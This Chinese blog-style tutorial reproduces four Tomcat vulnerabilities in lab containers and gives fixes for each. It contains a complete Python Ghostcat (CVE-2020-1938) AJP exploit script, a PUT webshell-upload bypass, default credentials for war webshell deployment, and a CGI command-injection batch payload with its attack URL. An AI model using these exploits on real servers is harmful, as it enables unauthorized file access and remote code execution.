
一 前言
Tomcat介绍
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。Tomcat是Apache 服务器的扩展,但运行时它是独立运行的,所以当你运行tomcat 时,它实际上作为一个与Apache 独立的进程单独运行的。Tomcat和IIS等Web服务器一样,具有处理HTML页面的功能,不过,Tomcat处理静态HTML的能力不如Apache服务器。另外它还是一个Servlet和JSP容器,独立的Servlet容器是Tomcat的默认模式。
Servlet介绍
Servlet处理请求和发送响应,并且Servlet是为了解决实现动态页面而衍生的东西。
Tomcat和servlet联系
Tomcat 是Web应用服务器,是一个Servlet/JSP容器。Tomcat 作为Servlet容器,负责处理客户请求,把请求传送给Servlet,并将Servlet的响应传送回给客户。而Servlet是一种运行在支持Java语言的服务器上的组件, 是CGI替代品。
(这里web服务器可以为apache)
Tomcat目录结构:
bin | tomcat启动与停止脚本,启动前需要 |
conf | Tomcat配置文件 server.xml |
Lib | Tomcat依赖jar文件,连接数据库,就需要jar支持 |
Logs | Tomcat的日志文件,catalina.out |
Temp | Tomcat临时目录 |
Webapps | Tomcat的默认站点路径 webapps/ROOT |
Work | Tomcat缓存目录 |
Tomcat配置文件
server.xml:配置tomcat启动的端口号、host主机、context等
web.xml:部署描述文件,部署每个webapp时都会调用该文件,配置该web应用的默认servlet
tomcat-user.xml:tomcat的用户密码和权限
二 漏洞
任意文件写入(CVE-2017-12615)
原理:
Tomcat设置了写权限(readonly=false),导致可以向服务器写入文件。
影响范围:
Apache Tomcat 7.0.0-7.0.81(默认配置)
如果配置了默认servlet,则在9.0.1(Beta),8.5.23,8.0.47和7.0.82之前的所有Tomcat版本都包含所有操作系统上的潜在危险的远程执行代码(RCE)漏洞。
复现:vulnhub
开启容器:docker-compose up -d,tomcat版本为8.5.19
查看自己的容器id (CONTAINER_ID): docker ps -a
进入容器的终端并且保留为容器终端的输入形式:docker exec -ti 997a186c4489 bash (997a186c4489为CONTAINER_ID)
补充:
-ti : 要等在容器内的命令执行完毕才会出来到当前操作; 没有加-ti就相当于在容器内执行一下命令,不等容器内部是否执行完毕直接出来
查看conf/web.xml文件,可以看到readonly设置为false
访问8080端口抓包
把get换为put,将内容写入指定位置 /test.txt
查看 /usr/local/tomcat/webapps/ROOT里面的文件,发现写入成功
put可以上传任意文件,因此我们可以尝试写入冰蝎的jsp木马,失败,可能tomcat自己会过滤jsp文件
尝试绕过,修改路径 /test.jsp/(/ 在文件名中是非法的,在windows和linux中都会自动去除),上传成功
冰蝎连接
修复:
将readonly设置为true,设为false就是允许用户使用PUT和deleate方法
文件包含漏洞(CVE-2020-1938)+ getshell
原理:
由于 Tomcat AJP协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector可以读取或包含 Tomcat上所有 webapp目录下的任意文件。用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件以及可以包含任意文件,如果可以上传文件就可以获取shell。
https://blog.csdn.net/SouthWind0/article/details/105147652/
影响版本:
apache tomcat6.x、7.x < 7.0.100 、8.x < 8.5.51 、9.x < 9.0.31
补充内容:
Tomcat服务器通过Connector连接器组件与客户程序建立连接,Connector表示接收请求并返回响应的端点。即Connector组件负责接收客户的请求,以及把Tomcat服务器的响应结果发送给客户。
Tomcat默认的conf/server.xml中配置了2个Connector,一个为8080的对外提供的HTTP协议端口,另外一个就是默认的8009 AJP协议端口,用于处理 AJP 协议的请求,AJP比http更加优化,多用于反向、集群等。两个端口默认均监听在外网ip。
Ajp协议对应的配置为:
<Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
(web客户访问tomcat不同方式)
复现:
查看开放端口,发现有8009端口
补充:
ajp13是一个二进制的TCP传输协议,相比HTTP这种纯文本的协议来说,效率和性能更高,也做了很多优化。但是浏览器不支持AJP13协议,只支持HTTP协议。通过Apache的proxy_ajp模块进行反向代理,暴露成http协议给客户端访问。
tomcat的配置大部分都是关闭AJP协议端口的,因为除了Apache之外别的http server几乎都不能反代AJP13协议
使用脚本读取web.xml文件:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
该脚本只支持python2,python3下面脚本语句要进行修改
1 self.socket.makefile("rb", bufsize=0) --> self.socket.makefile("rb", buffering=0)
2 print("".join([d.data for d in data])) -->print("".join([d.data.decode() for d in data]))
查看web.xml文件
上述该脚本只能读取文件源码,却不能进行rce
重新找了一个工具脚本(源码在下面)
之后上传jsp语句文件
查看文件源码,之后包含文件漏洞利用,成功输出assion,文件包含漏洞存在。
之后尝试getshell,先生成一个java的反向连接的木马
复制木马到WEB-INF(这里是没有上传文件的功能,现实得有上传才可以利用)
查看到上传成功
开启msfconsole ,然后进行攻击,参数设置如下
之后利用攻击脚本shell.txt文件包含
查看到权限为root
源码:
#!/usr/bin/env python # CNVD-2020-10487 Tomcat-Ajp lfi # by ydhcui import struct import io import base64 # Some references: # https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html def pack_string(s): if s is None: return struct.pack(">h", -1) l = len(s) return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) def unpack(stream, fmt): size = struct.calcsize(fmt) buf = stream.read(size) return struct.unpack(fmt, buf) def unpack_string(stream): size, = unpack(stream, ">h") if size == -1: # null string return None res, = unpack(stream, "%ds" % size) stream.read(1) # \0 return res class NotFoundException(Exception): pass class AjpBodyRequest(object): # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) MAX_REQUEST_LENGTH = 8186 def __init__(self, data_stream, data_len, data_direction=None): self.data_stream = data_stream self.data_len = data_len self.data_direction = data_direction def serialize(self): data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) if len(data) == 0: return struct.pack(">bbH", 0x12, 0x34, 0x00) else: res = struct.pack(">H", len(data)) res += data if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbH", 0x12, 0x34, len(res)) else: header = struct.pack(">bbH", 0x41, 0x42, len(res)) return header + res def send_and_receive(self, socket, stream): while True: data = self.serialize() socket.send(data) r = AjpResponse.receive(stream) while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: r = AjpResponse.receive(stream) if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: break class AjpForwardRequest(object): _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range( 28) REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} # server == web server, container == servlet SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) COMMON_HEADERS = ["SC_REQ_ACCEPT", "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" ] ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] def __init__(self, data_direction=None): self.prefix_code = 0x02 self.method = None self.protocol = None self.req_uri = None self.remote_addr = None self.remote_host = None self.server_name = None self.server_port = None self.is_ssl = None self.num_headers = None self.request_headers = None self.attributes = None self.data_direction = data_direction def pack_headers(self): self.num_headers = len(self.request_headers) res = "" res = struct.pack(">h", self.num_headers) for h_name in self.request_headers: if h_name.startswith("SC_REQ"): code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 res += struct.pack("BB", 0xA0, code) else: res += pack_string(h_name) res += pack_string(self.request_headers[h_name]) return res def pack_attributes(self): res = b"" for attr in self.attributes: a_name = attr['name'] code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 res += struct.pack("b", code) if a_name == "req_attribute": aa_name, a_value = attr['value'] res += pack_string(aa_name) res += pack_string(a_value) else: res += pack_string(attr['value']) res += struct.pack("B", 0xFF) return res def serialize(self): res = "" res = struct.pack("bb", self.prefix_code, self.method) res += pack_string(self.protocol) res += pack_string(self.req_uri) res += pack_string(self.remote_addr) res += pack_string(self.remote_host) res += pack_string(self.server_name) res += struct.pack(">h", self.server_port) res += struct.pack("?", self.is_ssl) res += self.pack_headers() res += self.pack_attributes() if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: header = struct.pack(">bbh", 0x12, 0x34, len(res)) else: header = struct.pack(">bbh", 0x41, 0x42, len(res)) return header + res def parse(self, raw_packet): stream = io.StringIO(raw_packet) self.magic1, self.magic2, data_len = unpack(stream, "bbH") self.prefix_code, self.method = unpack(stream, "bb") self.protocol = unpack_string(stream) self.req_uri = unpack_string(stream) self.remote_addr = unpack_string(stream) self.remote_host = unpack_string(stream) self.server_name = unpack_string(stream) self.server_port = unpack(stream, ">h") self.is_ssl = unpack(stream, "?") self.num_headers, = unpack(stream, ">H") self.request_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code > 0xA000: h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] else: h_name = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) self.request_headers[h_name] = h_value def send_and_receive(self, socket, stream, save_cookies=False): res = [] i = socket.sendall(self.serialize()) if self.method == AjpForwardRequest.POST: return res r = AjpResponse.receive(stream) assert r.prefix_code == AjpResponse.SEND_HEADERS res.append(r) if save_cookies and 'Set-Cookie' in r.response_headers: self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] # read body chunks and end response packets while True: r = AjpResponse.receive(stream) res.append(r) if r.prefix_code == AjpResponse.END_RESPONSE: break elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: continue else: raise NotImplementedError break return res class AjpResponse(object): _, _, _, SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) COMMON_SEND_HEADERS = [ "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" ] def parse(self, stream): # read headers self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") if self.prefix_code == AjpResponse.SEND_HEADERS: self.parse_send_headers(stream) elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: self.parse_send_body_chunk(stream) elif self.prefix_code == AjpResponse.END_RESPONSE: self.parse_end_response(stream) elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: self.parse_get_body_chunk(stream) else: raise NotImplementedError def parse_send_headers(self, stream): self.http_status_code, = unpack(stream, ">H") self.http_status_msg = unpack_string(stream) self.num_headers, = unpack(stream, ">H") self.response_headers = {} for i in range(self.num_headers): code, = unpack(stream, ">H") if code <= 0xA000: # custom header h_name, = unpack(stream, "%ds" % code) stream.read(1) # \0 h_value = unpack_string(stream) else: h_name = AjpResponse.COMMON_SEND_HEADERS[code - 0xA001] h_value = unpack_string(stream) self.response_headers[h_name] = h_value def parse_send_body_chunk(self, stream): self.data_length, = unpack(stream, ">H") self.data = stream.read(self.data_length + 1) def parse_end_response(self, stream): self.reuse, = unpack(stream, "b") def parse_get_body_chunk(self, stream): rlen, = unpack(stream, ">H") return rlen @staticmethod def receive(stream): r = AjpResponse() r.parse(stream) return r import socket def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) fr.method = method fr.protocol = "HTTP/1.1" fr.req_uri = req_uri fr.remote_addr = target_host fr.remote_host = None fr.server_name = target_host fr.server_port = 80 fr.request_headers = { 'SC_REQ_ACCEPT': 'text/html', 'SC_REQ_CONNECTION': 'keep-alive', 'SC_REQ_CONTENT_LENGTH': '0', 'SC_REQ_HOST': target_host, 'SC_REQ_USER_AGENT': 'Mozilla', 'Accept-Encoding': 'gzip, deflate, sdch', 'Accept-Language': 'en-US,en;q=0.5', 'Upgrade-Insecure-Requests': '1', 'Cache-Control': 'max-age=0' } fr.is_ssl = False fr.attributes = [] return fr class Tomcat(object): def __init__(self, target_host, target_port): self.target_host = target_host self.target_port = target_port self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.socket.connect((target_host, target_port)) self.stream = self.socket.makefile("rb", buffering=0) def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): self.req_uri = req_uri self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) if user is not None and password is not None: self.forward_request.request_headers[ 'SC_REQ_AUTHORIZATION'] = f'Basic {base64.b64encode(f"{user}:{password}".encode()).decode()}' for h in headers: self.forward_request.request_headers[h] = headers[h] for a in attributes: self.forward_request.attributes.append(a) responses = self.forward_request.send_and_receive(self.socket, self.stream) if len(responses) == 0: return None, None snd_hdrs_res = responses[0] data_res = responses[1:-1] if len(data_res) == 0: print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) return snd_hdrs_res, data_res ''' javax.servlet.include.request_uri javax.servlet.include.path_info javax.servlet.include.servlet_path ''' import argparse parser = argparse.ArgumentParser() parser.add_argument("target", type=str, help="Hostname or IP to attack") parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") parser.add_argument('--rce', type=bool, default=False, help="read file(default) or exec command") args = parser.parse_args() t = Tomcat(args.target, args.port) _, data = t.perform_request(f'/hissec{".jsp" if args.rce else ""}', attributes=[ {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']}, {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', args.file]}, {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']}, ]) print('----------------------------') print(''.join([d.data.decode('utf_8') for d in data]))
修复:
1.禁用AJP协议,在/conf/server.xml文件,删除或注释这行代码:
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
2.升级到tomcat最新版本
弱密码
环境:
docker tomcat8.0 (其中下面有些部分内容演示截图为CVE-2017-12615,因为8.0环境是已经配置好的了,不用自己修改)
复现:
2017 访问显示403,原因是/usr/local/tomcat/webapps/manager/META-INF/context.xml 文件设置了这两行,只能127网段局域网的机器,才有访问权限,注释这两行就可以了<!-- -->
docker安装vim出现的问题:(21条消息) Docker容器里的vi/vim命令安装_junmxiao-js的博客-CSDN博客
注释之后访问成功
登录密码一般保存在tomcat/conf/tomcat-users.xml
8.0权限有
manager(后台管理)
manager-gui拥有html页面权限
manager-status拥有查看status的权限
manager-script拥有text接口权限(包括status权限)
manager-jmx拥有jmx权限(包括status权限)
host-manager(虚拟主机管理)
admin-gui拥有html页面权限
admin-script拥有text接口权限
文件配置
<tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd" version="1.0"> <role rolename="manager-gui"/> <role rolename="manager-script"/> <role rolename="manager-jmx"/> <role rolename="manager-status"/> <role rolename="admin-gui"/> <role rolename="admin-script"/> <user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /> </tomcat-users>
输入tomcat/tomcat之后,进入后台,发现有上传功能(或者抓包之后对Authorization字段进行爆破)
先找一个冰蝎的jsp木马,然后放在jdk的bin目录下,之后路径cmd,生成一个war包
war包是用来进行Web开发时一个网站项目下的所有代码,包括前台HTML/CSS/JS代码,以及后台JavaWeb的代码。
上传war文件成功
冰蝎连接,成功
修复:
1 删除webapps目录中的docs、examples、host-manager、manager等正式环境用不着的目录
2 管理员尽量不使用弱口令
3 设置该网页只能本机可以访问
Tomcat 远程代码执行(CVE-2019-0232)
原理:
由于Tomcat CGI将命令行参数传递给Windows程序的方式存在错误,使得CHIServler被命令注入影响。该漏洞只影响Windows平台,要求启用了CGIServlet和enableCmdLineArguments参数。但是CGIServlet和enableCmdLineArguments参数默认情况下都不启用。
影响范围:
Apache Tomcat 7.0.0 ~ 7.0.93、 8.5.0 ~ 8.5.39、 9.0.0~9.0.17
当前测试版本:
Apache Tomcat 8.5.28
复现:
修改文件,修改 conf/context.xml 的 <Context> 添加 privileged="true"属性,否则会没有权限
Tomcat的CGI_Servlet组件默认是关闭的,在 conf/web.xml 中找到注释的CGIServlet部分,去掉注释,并配置enableCmdLineArguments和executable。enableCmdLineArguments 启用后才会将Url中的参数传递到命令行, executable 指定了执行的二进制文件,默认是 perl,需要设置为空才会执行文件本身。
<servlet>
<servlet-name>cgi</servlet-name>
<servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>enableCmdLineArguments</param-name>
<param-value>true</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
<load-on-startup>5</load-on-startup>
</servlet>
取消注释
在apache-tomcat-8.5.28\webapps\ROOT\WEB-INF下新建目录cgi-bin,然后将att.bat放进该目录,att.bat内容
@echo off echo Content-Type: test/plain echo. set foo=&~1 %foo%
访问该文件,成功下载该文件
进行攻击,http://localhost:8080/cgi-bin/att.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
成功弹出计算器
修复:
1关闭enableCmdLineArguments参数
2 更新新版本
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